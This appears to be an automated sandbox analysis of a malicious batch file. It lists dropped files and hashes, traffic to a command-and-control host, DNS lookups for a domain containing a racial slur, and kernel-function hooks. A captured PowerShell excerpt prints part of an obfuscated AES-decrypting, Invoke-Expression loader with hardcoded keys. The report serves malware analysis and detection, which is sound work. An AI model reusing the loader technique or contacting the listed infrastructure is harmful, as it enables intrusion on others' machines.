Preview:	ElfChnk......................................6..P8...P\<........................................................................................R.......................z...=...........................................................................................................................f...............?...........................m...................M...F...................................................................&...........;...........+.......................................................**...............21.`...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.711346426112008
Encrypted:	false
SSDEEP:	192:7V7rDiDxFYzDiDPDiDfDiDDDiDxDiDUDiDgDiDsDiDQDiDEDiDYDiDEDiD:7hr2ts2T2z2n2N2w202w2M2Y2E2I2
MD5:	F911674F42FFA9096A39B15D79861134
SHA1:	14C46673DAB47906E3693ABC048CD0C2FADBECB6
SHA-256:	1668A045EF7528D741AAD61574F673D564D9BC7831A57FB6CD4A4D25C3FCA4B5
SHA-512:	2341C1145DCD1E714D0A16CFE517CCD8F0BF6F94A45882A4142B2D90B27A1ACD4F4508AF7E49A52B0B0F2E418EEC461EF2CBB0463D48CC48E08E6880A617B442
Malicious:	false
Preview:	ElfChnk................................................(....................................................................4.KU................T.......................\|...=...........................................................................................................................f...............?...........................m...................M...F...............................-...................................&...............................................................................**..............IL..`...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-WMI-Activity%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.841712479680417
Encrypted:	false
SSDEEP:	384:aBh7RucVRDRbR2R3RgRxR5RrGRRrRuRVRERfRzRwRQRoRTyDR6RQR36RMGRPRHR8:aBNzUhK3aD
MD5:	DADAD412976D9F9EA0EED52DE42DF6E7
SHA1:	A928A47DCDBB2FA1D7C86470B0AE3AB72FE372E6
SHA-256:	4394C069F66A90CEC76AB185BA009B13234EDC4A2ED3A5890FA787FAD0E730A6
SHA-512:	AD8DF9C5410CA28CA38BF35CD51A97E1ACFA9B76AA51C4D8A7D59D88CFBC68E3BEB7F3EE2F647ADD9126C6718F720F4316D37C923E3F57AD1620B4CB17F269D5
Malicious:	false
Preview:	ElfChnk.:.......v.......:.......v...............x...........................................................................%..................................F.......\|...=.......................................`.......................u...-......................................................f...b..........?.......................`.......A.......G.......M...F.......................................................................................&...........9.......9.......................................*......:........._..........^..&........^..~.]i.../.l.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Wcmsvc%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.260359446709512
Encrypted:	false
SSDEEP:	384:fhRhwhdhP0h9hzehShchawhZh4hhhshphihXhMhxhzhwhohGh5h3hShChWhzhLh4:fmFpkBzBiELmn
MD5:	067AD5BE5D9DAC2F9972EA7CCD899B43
SHA1:	EDD013A75A95D510CCEBA7DF86938621FA17E518
SHA-256:	EE5349F31C79D30F8AB2023451ECC640BD33C7F038ED6951D0F9FF2FE82BA0E7
SHA-512:	F2E20C281CD6E14FBDDCE8C89055CF5BC6A3C79E5D65037B269B11F2500E750A15998C9A29365F7D5903E4CF568EA45026E9F340A0318C212E8AD936EA2B3F65
Malicious:	false
Preview:	ElfChnk.........................................`...........................................................................3i._........................................@...=...........................................................................................................................f...............?...........................m...................M...F...........................................i.......................&.......................................................y.......................**................9.`...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-WebAuthN%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2594795605878295
Encrypted:	false
SSDEEP:	384:LhOVPiVcVCVC7VNVtVEV3Vob7V5VXVmVbVoV/VEVptVtVBVnVOVHV7Vj0V1VXFVq:LyjbPac
MD5:	33C02B19501869BF7DF6F6BF1D2E6BF6
SHA1:	D90AF4BD50FE734A1E74ACC4E0704FEE1346F8D4
SHA-256:	6453729FD9D539566FC7AA3CE013B958C237E0E713AA917444F453C02A96F3BB
SHA-512:	B4D4A162E59651477CE87DE756F9DBD7634A206CA7FA83CA61DD73F86CAE343083AFF067A981DE096AAB1AE6997E599397E4851648800B2BCDAA6E5BAC0797A8
Malicious:	false
Preview:	ElfChnk........."..............."...........h8...9....?......................................................................Z..................&...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&...............................v.......&..............................................................................*..P...........y................&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Windows Firewall With Advanced Security%4Firewall.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.222797681939505
Encrypted:	false
SSDEEP:	384:vRhcBwBuBwB+BwBZwDIBwBoK/oyBwBY/puBwBN0bNoBwByQZBwBY/UUBwBY/5BwL:JI0bKWHrL
MD5:	3B70AE481901772C5DA852F7B1ACD786
SHA1:	F09B57721AC9A69207032EFDFB2692A93458F50A
SHA-256:	070A510039728BF70064D5FC10DAE57DA67C69A5FA6ECE870D0E4C2C1A2AC354
SHA-512:	B7E9B57B32774D821C3759E8E9FA5A16E99E02D801EB9F7494C940B79690378249536FAF4D23282CEEE595DD00644BFAE6BAECE724B830BC17847797C52CE28A
Malicious:	false
Preview:	ElfChnk.....................................H;..x>...,.U......................................................................(.............................................=...........................................................................................................................f...............?...........................m...................M...F...........................o.......................................&...............................................................................**..(...............`...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Winlogon%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.423183909657457
Encrypted:	false
SSDEEP:	384:/hGUEBUEYUEQUEhUE8UE5UE5UE8UExUEFUELUEVUEyUEXUEDUEuDUEBUEWUEzUE3:/P7s3NxG9
MD5:	718C0E7FA4C2A524A5FF961FEB987C13
SHA1:	73CB0C09C67332548F50613AA349E12695C715A2
SHA-256:	461F7778DD38ABE30403674C9E34EFF22F91AB7D4C207FB8CD2C4B31773588CC
SHA-512:	6A7705597D00B2193F3ECD79CDCD4B6D97DA36B879ECBC2E5F8EA3A8B77D9FA301B14E68BBB9ACBBF72B695DC83E66493F3C4D1DD94B1FC9D0E4ABA787BD853B
Malicious:	false
Preview:	ElfChnk.....................................0`...a.....r........................................................................................0.......................X...=...........................................................................................................................f...............?...........................m...................M...F...........................................................................................................................A.......................**.................`...........E!&.........E!.._c..Y..........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Security.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	75688
Entropy (8bit):	4.270608972262599
Encrypted:	false
SSDEEP:	384:dFRCBu2s7N0oGMtUlXoxMtTl3AgFRCBu2s7N0oGMtUlXoxMtTl3ApovMtYolQM3g:/S+69S+6ONASbkh
MD5:	95D16DD44181BF63726777AA40B87BF7
SHA1:	DF13A03F1E0AEFD9443EE7DC1B8AC2F271A14136
SHA-256:	F913B2271EA1A9676BC7A3A73393BE700BA16E97BAA3A0C18CBC3CCF178C4896
SHA-512:	4202C520DE768436162A2F2EC0A3DFDB2E37728F9D21B9B99A377CB6C6F032ACBA1D6B39FF7889009A8E1E1B5F409C28E49DAE905D24AAAA1650CF3E1A0EF96F
Malicious:	false
Preview:	ElfChnk.................$...................%...'..Y..Q...............................................................................!.......z...s...h...................=...................................................N...............................................w.......<.......................5...................................c...........).......M...Z...:...............................S...............................V....#..................................................................&.......*..0...$.......7"..ZM.........<.@&........<.@.o.S....../.G.......A..;...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.....d...........oT..S.y.s.t.e.m....A...............{..P.r.o.v.i.d.e.r.......F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.E.v.e.n.t.l.o.g..........)...G.u.i.d.....&.{.f.c.6.5.d.d.d.8.-.d.6.e.f.-.4.9.6.2.-.8.3.d.5.-.6.e.5.c.f.e.9.c.e.1.

C:\Windows\System32\winevt\Logs\System.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	83744
Entropy (8bit):	4.426183207436119
Encrypted:	false
SSDEEP:	384:QFRXABHIBwpYCs3Go3+ztJyjsFRXABHIBwpYCs3Go3+ztJyjpI74mjo6bPwtrQMz:mWWDKWWDXi1UW0N3HpRAtFdWWDRc
MD5:	BCF574E305425737D4E12CA8E7EED110
SHA1:	6316CB1929AD9649B32EA95791676D0042A1DA53
SHA-256:	F3554C957866BA94242085947DFA6E44EE2BB68A18DE26106D8EC60241F4FA78
SHA-512:	B5D292EC172211DA35BC38AB87BBA9AC322BA675A04DD32C090FAAC206D5CCFC7DE84D581FA2C8120EBDFE38F58D922471902B2FC45F770CCD4B35DEA009F770
Malicious:	false
Preview:	ElfChnk.....................................x ..8"...y.c....................................................................za)E....................s...h...................=...................................................N...............................................w.......8.......................M..................................._...........).......M...;...:...........................................................q...............................................&.......................&.......i...**..............7"..ZM.........v..&........v..Tr].4....E.C.......A..7...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.....`...........oT..S.y.s.t.e.m....A...............{..P.r.o.v.i.d.e.r.......F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.E.v.e.n.t.l.o.g..........)...G.u.i.d.....&.{.f.c.6.5.d.d.d.8.-.d.6.e.f.-.4.9.6.2.-.8.3.d.5.-.6.e.5.c.f.e.9.c.e.1.

C:\Windows\System32\winevt\Logs\Windows PowerShell.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	80608
Entropy (8bit):	3.834523967266329
Encrypted:	false
SSDEEP:	384:1Q+wG828Q+wG822N4As47t+9t+v3uHaQ3Ry3iOEKTr3I8/ZuzqSc7OYJshxuxn84:1sGN4r47OXHaQhy3ixjp
MD5:	B740878AFA430C0B2AA2F2224BEEC76C
SHA1:	B632B0AE478C477C69169251B3E79C6BD9B1B1AD
SHA-256:	D5630350D12270372CC82088D2F580550BACA955EA5211FE90ABDF9380098F79
SHA-512:	F36080D9C61FF30E2D0019E59600BCCC094B0D29B219EAD8085207C8B9A0422B6281E94602FC32906CF1D4A26A7D1822B782B2F23AF82E312B8B925DE6AE4D90
Malicious:	false
Preview:	ElfChnk.................y....................6...:...........................................................................-.............................................=..........................................................................................................................._...............8...........................f...................M...c...........................v.......................................................................................&...............................**......y...........ZM........L.-9&.......L.-9...P..K`..$5........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..R............{..P.r.o.v.i.d.e.r.../....=.......K...N.a.m.e.......P.o.w.e.r.S.h.e.l.l..A..M...s........a..E.v.e.n.t.I.D...'............)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n............

\Device\Null

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (2187), with CRLF line terminators
Category:	dropped
Size (bytes):	2390
Entropy (8bit):	5.7490302094337595
Encrypted:	false
SSDEEP:	48:9JFHDRIR5RzxRxBB3rkxB3hXlQiyBluoD0FEQ1C0bWAo2U82UI2U7n+:PFHDRIDxx7BB7GB5lQr6KrQbHo2T2/2Z
MD5:	0A3E9785482BA3B6B8B08D5FAB6B2D10
SHA1:	A8B86D25505BFC949AC95AF9E7D9D94E739A3B14
SHA-256:	E3D153DDBB7B48D09C1AB188737F91809C3C2622F5067C56BECEAB3DEE97C7C0
SHA-512:	C8CE77FB1A5A2C427181472DD640D7F3AFFD5844730A08311C9295555C54534BC5A4B39C88609162997171BC2F90C9A541B55EBDC052B8E210B917D42A7DAD12
Malicious:	false
Preview:	Windows PowerShell..Copyright (C) Microsoft Corporation. All rights reserved.....Try the new cross-platform PowerShell https://aka.ms/pscore6....PS C:\Users\user\Desktop> function vhVnA($zVdEq){.$TQYfY=[System.Security.Cryptography.Aes]::Create();.$TQYfY.Mode=[System.Security.Cryptography.CipherMode]::CBC;.$TQYfY.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;.$TQYfY.Key=[System.Convert]::FromBase64String('axHRlwLJv4pwkbOf9iAIJflO6gLEZt+6bKCh3RuytCA=');.$TQYfY.IV=[System.Convert]::FromBase64String('TxAvkYK6lZIDMpmpV8o+4Q==');.$bqyNP=$TQYfY.CreateDecryptor();.$fZHAT=$bqyNP.TransformFinalBlock($zVdEq, 0, $zVdEq.Length);.$bqyNP.Dispose();.$TQYfY.Dispose();.$fZHAT;}function FpYMp($zVdEq){.Invoke-Expression '$fEGds=New-Object System.IO.MemoryStream(,$zVdEq);'.Replace('', '');.Invoke-Expression '$xpQRA=New-Object System.IO.MemoryStream;'.Replace('', '');.Invoke-Expression '$mCrfz=New-Object System.IO.Compression.GZip*S

Static File Info

General

File type:	DOS batch file, ASCII text, with very long lines (3583), with CRLF line terminators
Entropy (8bit):	6.016969361705345
TrID:	BibTeX references (5501/1) 100.00%
File name:	product.bat
File size:	7'309'406 bytes
MD5:	f3454e2cb275019527e248cb08111111
SHA1:	4180893cca4dce02e0bbeab52b5a099201db5ffb
SHA256:	0999322e8a2a984b5400544b31a91ae8dd49b362a2517fe497a8e1455de07d8f
SHA512:	489a89ab9d9a1423ccd18931f74707851d4e3add00306f7bdccce511de308d1fabc14cb734925d78609fd522402e9abea1106b1765d5c90a27c32a2a5889c7cc
SSDEEP:	49152:RjtZxa9XGka7V+vlw0ELOZA1NEITyfi7SlSjncYHEJ9MFrbwjMxGQMH+INp1YHpy:Y
TLSH:	847633923EE42FDE0BAEC51EF15E7AAD67D60F53446EE08745E212C7067EE822D12C11
File Content Preview:	@echo off..%hHWGUYBuKQfdXizhnralBipksPqZjjVATDyHbfvAfWacuRgvQmYUuhvZsMoeH%@%lAUEjtJSghWAfEhmPAJUiWlbgMizpoQrTDLAiPHM%%YgQYUbQRgXOuMtooTyxlkCRrEGCTGdaSWikQvdlKrHjrcWgkwl%e%qkBBvoztnzWkcWVxDixTPnMTC%%AoIzswvOJIvGPCVKXluwgugyDbZrzd%c%IZbOkLOgAPnnncXtVYfpAyfm

File Icon


Icon Hash:	9686878b929a9886

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 13, 2024 13:31:44.906560898 CET	49764	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:31:45.026395082 CET	4988	49764	103.230.121.81	192.168.2.7
Dec 13, 2024 13:31:45.026478052 CET	49764	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:31:45.069238901 CET	49764	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:31:45.188967943 CET	4988	49764	103.230.121.81	192.168.2.7
Dec 13, 2024 13:31:47.716533899 CET	4988	49764	103.230.121.81	192.168.2.7
Dec 13, 2024 13:31:47.717075109 CET	49764	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:31:47.723992109 CET	49764	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:31:47.843774080 CET	4988	49764	103.230.121.81	192.168.2.7
Dec 13, 2024 13:31:51.184678078 CET	49780	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:31:51.304583073 CET	4988	49780	103.230.121.81	192.168.2.7
Dec 13, 2024 13:31:51.304728031 CET	49780	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:31:51.305171013 CET	49780	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:31:51.424901962 CET	4988	49780	103.230.121.81	192.168.2.7
Dec 13, 2024 13:31:53.994916916 CET	4988	49780	103.230.121.81	192.168.2.7
Dec 13, 2024 13:31:53.995014906 CET	49780	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:31:54.007051945 CET	49780	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:31:54.126924038 CET	4988	49780	103.230.121.81	192.168.2.7
Dec 13, 2024 13:31:57.389427900 CET	49794	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:31:57.509746075 CET	4988	49794	103.230.121.81	192.168.2.7
Dec 13, 2024 13:31:57.510284901 CET	49794	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:31:57.510284901 CET	49794	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:31:57.630240917 CET	4988	49794	103.230.121.81	192.168.2.7
Dec 13, 2024 13:32:00.213212967 CET	4988	49794	103.230.121.81	192.168.2.7
Dec 13, 2024 13:32:00.213335991 CET	49794	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:32:00.214236975 CET	49794	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:32:00.333976984 CET	4988	49794	103.230.121.81	192.168.2.7
Dec 13, 2024 13:32:03.597726107 CET	49808	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:32:03.717781067 CET	4988	49808	103.230.121.81	192.168.2.7
Dec 13, 2024 13:32:03.717938900 CET	49808	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:32:03.718460083 CET	49808	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:32:03.838277102 CET	4988	49808	103.230.121.81	192.168.2.7
Dec 13, 2024 13:32:06.435007095 CET	4988	49808	103.230.121.81	192.168.2.7
Dec 13, 2024 13:32:06.435105085 CET	49808	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:32:06.435539961 CET	49808	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:32:06.555463076 CET	4988	49808	103.230.121.81	192.168.2.7
Dec 13, 2024 13:32:10.168483973 CET	49825	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:32:10.289613008 CET	4988	49825	103.230.121.81	192.168.2.7
Dec 13, 2024 13:32:10.289802074 CET	49825	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:32:10.290107012 CET	49825	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:32:10.411497116 CET	4988	49825	103.230.121.81	192.168.2.7
Dec 13, 2024 13:32:13.028764963 CET	4988	49825	103.230.121.81	192.168.2.7
Dec 13, 2024 13:32:13.028918028 CET	49825	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:32:13.029366016 CET	49825	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:32:13.151463985 CET	4988	49825	103.230.121.81	192.168.2.7
Dec 13, 2024 13:32:16.309225082 CET	49840	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:32:16.527679920 CET	4988	49840	103.230.121.81	192.168.2.7
Dec 13, 2024 13:32:16.527818918 CET	49840	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:32:16.528166056 CET	49840	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:32:16.647841930 CET	4988	49840	103.230.121.81	192.168.2.7
Dec 13, 2024 13:32:19.222346067 CET	4988	49840	103.230.121.81	192.168.2.7
Dec 13, 2024 13:32:19.222475052 CET	49840	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:32:19.222812891 CET	49840	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:32:19.342523098 CET	4988	49840	103.230.121.81	192.168.2.7
Dec 13, 2024 13:32:23.715643883 CET	49857	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:32:23.835444927 CET	4988	49857	103.230.121.81	192.168.2.7
Dec 13, 2024 13:32:23.835540056 CET	49857	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:32:23.835954905 CET	49857	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:32:23.955765009 CET	4988	49857	103.230.121.81	192.168.2.7
Dec 13, 2024 13:32:26.528444052 CET	4988	49857	103.230.121.81	192.168.2.7
Dec 13, 2024 13:32:26.528553963 CET	49857	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:32:26.532408953 CET	49857	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:32:26.652323008 CET	4988	49857	103.230.121.81	192.168.2.7
Dec 13, 2024 13:32:30.065619946 CET	49872	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:32:30.185944080 CET	4988	49872	103.230.121.81	192.168.2.7
Dec 13, 2024 13:32:30.186074018 CET	49872	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:32:30.186475992 CET	49872	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:32:30.306360006 CET	4988	49872	103.230.121.81	192.168.2.7
Dec 13, 2024 13:32:32.866753101 CET	4988	49872	103.230.121.81	192.168.2.7
Dec 13, 2024 13:32:32.866816998 CET	49872	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:32:32.867218971 CET	49872	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:32:32.989048004 CET	4988	49872	103.230.121.81	192.168.2.7
Dec 13, 2024 13:33:06.990341902 CET	49883	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:33:07.111438036 CET	4988	49883	103.230.121.81	192.168.2.7
Dec 13, 2024 13:33:07.111531973 CET	49883	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:33:09.873281956 CET	4988	49883	103.230.121.81	192.168.2.7
Dec 13, 2024 13:33:09.873404980 CET	49883	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:33:11.980873108 CET	49883	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:33:11.981216908 CET	49883	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:33:12.100771904 CET	4988	49883	103.230.121.81	192.168.2.7
Dec 13, 2024 13:33:12.100831985 CET	4988	49883	103.230.121.81	192.168.2.7
Dec 13, 2024 13:34:14.353902102 CET	49892	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:34:14.474275112 CET	4988	49892	103.230.121.81	192.168.2.7
Dec 13, 2024 13:34:14.474529028 CET	49892	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:34:17.154525042 CET	4988	49892	103.230.121.81	192.168.2.7
Dec 13, 2024 13:34:17.159332037 CET	49892	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:34:19.669526100 CET	49892	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:34:19.670022964 CET	49892	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:34:19.790824890 CET	4988	49892	103.230.121.81	192.168.2.7
Dec 13, 2024 13:34:19.791043997 CET	4988	49892	103.230.121.81	192.168.2.7
Dec 13, 2024 13:34:28.998346090 CET	49893	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:34:29.119246960 CET	4988	49893	103.230.121.81	192.168.2.7
Dec 13, 2024 13:34:29.119363070 CET	49893	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:34:29.119889021 CET	49893	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:34:29.239706039 CET	4988	49893	103.230.121.81	192.168.2.7
Dec 13, 2024 13:34:31.845710993 CET	4988	49893	103.230.121.81	192.168.2.7
Dec 13, 2024 13:34:31.845777035 CET	49893	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:34:56.855470896 CET	49893	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:34:56.975264072 CET	4988	49893	103.230.121.81	192.168.2.7
Dec 13, 2024 13:35:07.654098034 CET	49893	4988	192.168.2.7	103.230.121.81
Dec 13, 2024 13:35:07.773895025 CET	4988	49893	103.230.121.81	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 13, 2024 13:31:44.759985924 CET	55296	53	192.168.2.7	1.1.1.1
Dec 13, 2024 13:31:44.899945021 CET	53	55296	1.1.1.1	192.168.2.7
Dec 13, 2024 13:32:22.974303961 CET	49410	53	192.168.2.7	1.1.1.1
Dec 13, 2024 13:32:23.349615097 CET	53	49410	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 13, 2024 13:31:44.759985924 CET	192.168.2.7	1.1.1.1	0xb98e	Standard query (0)	iam.nigga.dad	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:32:22.974303961 CET	192.168.2.7	1.1.1.1	0x4772	Standard query (0)	iam.nigga.dad	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 13, 2024 13:31:27.826252937 CET	1.1.1.1	192.168.2.7	0x27d9	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:31:27.826252937 CET	1.1.1.1	192.168.2.7	0x27d9	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:31:42.525688887 CET	1.1.1.1	192.168.2.7	0xca7e	No error (0)	bg.microsoft.map.fastly.net	199.232.214.172	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:31:42.525688887 CET	1.1.1.1	192.168.2.7	0xca7e	No error (0)	bg.microsoft.map.fastly.net	199.232.210.172	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:31:44.899945021 CET	1.1.1.1	192.168.2.7	0xb98e	No error (0)	iam.nigga.dad	103.230.121.81	A (IP address)	IN (0x0001)	false
Dec 13, 2024 13:32:23.349615097 CET	1.1.1.1	192.168.2.7	0x4772	No error (0)	iam.nigga.dad	103.230.121.81	A (IP address)	IN (0x0001)	false

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
ZwEnumerateKey	INLINE	explorer.exe, winlogon.exe
NtQuerySystemInformation	INLINE	explorer.exe, winlogon.exe
